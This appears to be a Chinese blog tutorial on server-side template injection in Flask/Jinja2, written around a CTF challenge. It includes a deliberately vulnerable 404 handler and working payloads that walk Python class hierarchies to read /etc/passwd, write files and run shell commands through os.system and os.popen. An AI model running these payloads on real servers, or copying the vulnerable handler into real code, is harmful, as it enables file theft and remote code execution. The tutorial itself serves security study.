SSTI模板注入

SSTI模板注入

SSTI,服务器端模板注入(Server-Side Template Injection)

1.什么是SSTI

漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

主要框架:

  • python:jinja2、mako、tornado、django
  • php:smarty、twig
  • java:jade、velocity

2.基础知识

在这里插入图片描述

利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。

但是新的模板引擎往往会有一些安全问题 , 即使大部分模板引擎有提供沙箱隔离机制 , 但同样存在沙箱逃逸技术来绕过

沙箱逃逸就是在一个代码执行环境下 (Oj 或使用 socat 生成的交互式终端),脱离种种过滤和限制,最终成功拿到 shell 权限的过程

3.flask模板

  • Flask 是一个用 Python 编写的 Web 应用程序框架,其优点是提供给用户的扩展能力很强,框架只完成了简单的功能,有很大一部分功能可以让用户自己选择并实现
@app.route('/')

使用route()装饰器来告诉flask什么样的URL 能触发函数

from flask import Flask
from flask import request
from flask import config
from flask import render_template_string
app = Flask(__name__)

app.config['SECRET_KEY'] = "flag{SSTI_123456}"
@app.route('/')		#访问127.0.0.1:5000/
def hello_world():
    return 'Hello World!'

@app.errorhandler(404)	#访问不存在页面
def page_not_found(e):
    template = '''	<!--#此为网页源码-->
{%% block body %%}
    <div class="center-content error">
        <h1>Oops! That page doesn't exist.</h1>
        <h3>%s</h3>	<!--#占位符-->
    </div> 
{%% endblock %%}
''' % (request.args.get('404_url'))
    return render_template_string(template), 404

if __name__ == '__main__':
    app.run(host='0.0.0.0',debug=True)

image-20260303155028925

当访问不存在的页面时 就会报错 其中的None即是%s占位符 是通过404_url来的

request.args.get('404_url'):

  • request:Flask 提供的请求对象,包含所有 HTTP 请求信息
  • .args:请求中的查询参数(URL 中 ? 后面的部分)
  • .get('404_url'):获取名为 404_url 的参数值,不存在则返回 None

所以我们可以控制404_url的值 来控制返回值

image-20260303155922468

当我们传入{{}}时 被包含的内容会被当做代码执行 从而导致SSTI漏洞

image-20260303160046379

4.魔术方法

借助类之间的继承关系 调用所需库及函数

在这里插入图片描述

对于返回的是定义的Class类的话:
__dict__          //返回类中的函数和属性,父类子类互不影响
__bases__          //返回类的父类 python3
__mro__           //返回类继承的元组,(寻找父类) python3
__init__          //返回类的初始化方法   
__subclasses__()  //返回类中仍然可用的引用,即返回子类  python3
__globals__       //对包含函数全局变量的字典的引用 python3

对于返回的是类实例的话:
__class__         //查看变量所属的类,返回实例的对象,可以使类实例指向Class,使用上面的魔术方法

__class__ //查看变量所属的类,返回实例的对象

>>> ''.__class__
<class 'str'>	#''为字符型str
>>> ().__class__
<class 'tuple'>
>>> {}.__class__
<class 'dict'>
>>> [].__class__
<class 'list'>

__bases__ //返回类的父类,返回所有直接父类组成的元组 使用语法:类名.__bases__

__mro__ //返回类继承的元组 与__bases__类似

>>> ''.__class__.__bases__
(<class 'object'>,)		#返回元组
>>> ''.__class__.__base__
<class 'object'>
>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)

__subclasses__() //获取当前类的所有子类

>>>' '.__class__.__base__.__subclasses__()
[<class 'type'>, <class 'async_generator'>, <class 'bytearray_iterator'>, <class 'bytearray'>,还有好多就不放出来了]

根据步骤 获取所有子类之后 寻找可利用子类 完成注入

任意文件读写

eg.攻防世界Web_python_template_injection

{{''.__class__.__mro__}}
>>(<type 'str'>, <type 'basestring'>, <type 'object'>) 

这里用__mro__获取所有父类 因为需要object 而__base__只能获取直接父类

以0开始的下标 所需object类的下标为2

{{''.__class__.__mro__[2].__subclasses__()}}

找到文件读写所需的指令<type 'file'> 下标为40

{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}

image-20260303165607821

返回了配置文件的信息 证明存在任意文件读取漏洞

写文件相仿:

{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil.txt', 'w').write('evil code')}}

任意命令执行

思路与读写文件类似 利用os模块

os模块的类:

  • os.py:os._wrap_close
  • linecache.py:linecache._StrList
  • site.py
  • posixpath.py
  • pickle.py
  • traceback.py
  • tempfile.py
  • shutil.py
  • zipfile.py

查找所需子类下标的脚本:

str = "[得到的所有子类]"
str1 = str.split(",")
num = 0
ans = input("查找")
for i in str1:
    if ans in i:
        print(num)
        break
    num += 1

所以payload:

''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()

过滤:

SSTI漏洞利用及绕过总结(绕过姿势多样)_java ssti漏洞-CSDN博客

—————————————————————————————————————

参考文章:SSTI详解 一文了解SSTI和所有常见payload 以flask模板为例-CSDN博客

模板注入(SSTI)详解与攻防实践-CSDN博客

ssti模版注入(看完就会了)_ssti注入-CSDN博客

posted @ 2026-03-03 19:34  aax小能  阅读(38)  评论(0)    收藏  举报